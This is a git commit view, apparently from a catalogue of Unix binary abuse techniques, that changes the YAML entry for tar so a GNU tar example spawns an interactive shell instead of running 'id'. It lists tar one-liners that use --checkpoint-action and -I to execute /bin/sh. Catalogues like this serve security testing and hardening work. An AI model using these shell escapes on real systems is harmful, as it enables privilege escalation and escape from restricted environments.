Promote tar command to interactive shell

This commit is contained in:
Andrea Cardaci 2018-10-21 11:56:24 +02:00
parent fdda727eb1
commit a7818d5f16

View File

@ -2,9 +2,8 @@
functions: functions:
shell: shell:
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
command:
- description: This only works for GNU tar. - description: This only works for GNU tar.
code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"' code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
file-write: file-write:
- description: This only works for GNU tar. - description: This only works for GNU tar.
code: | code: |